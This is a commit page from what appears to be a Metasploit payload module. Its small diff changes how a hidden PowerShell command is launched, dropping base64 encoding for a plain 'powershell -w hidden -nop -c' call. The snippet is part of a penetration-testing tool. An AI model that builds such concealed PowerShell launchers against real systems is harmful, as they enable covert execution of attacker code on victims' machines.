Stick with command let encoder handle encoding

bug/bundler_fix
Meatballs 2014-02-08 19:28:03 +00:00
parent 80814adaf9
commit 9f04e0081d
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 1 additions and 3 deletions

View File

@ -85,9 +85,7 @@ module Metasploit3
"}"\
"}else{RSC}};"\
powershell_encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(powershell))
return "powershell.exe -w hidden -nop -e #{powershell_encoded}"
return "powershell -w hidden -nop -c #{powershell}"
end
end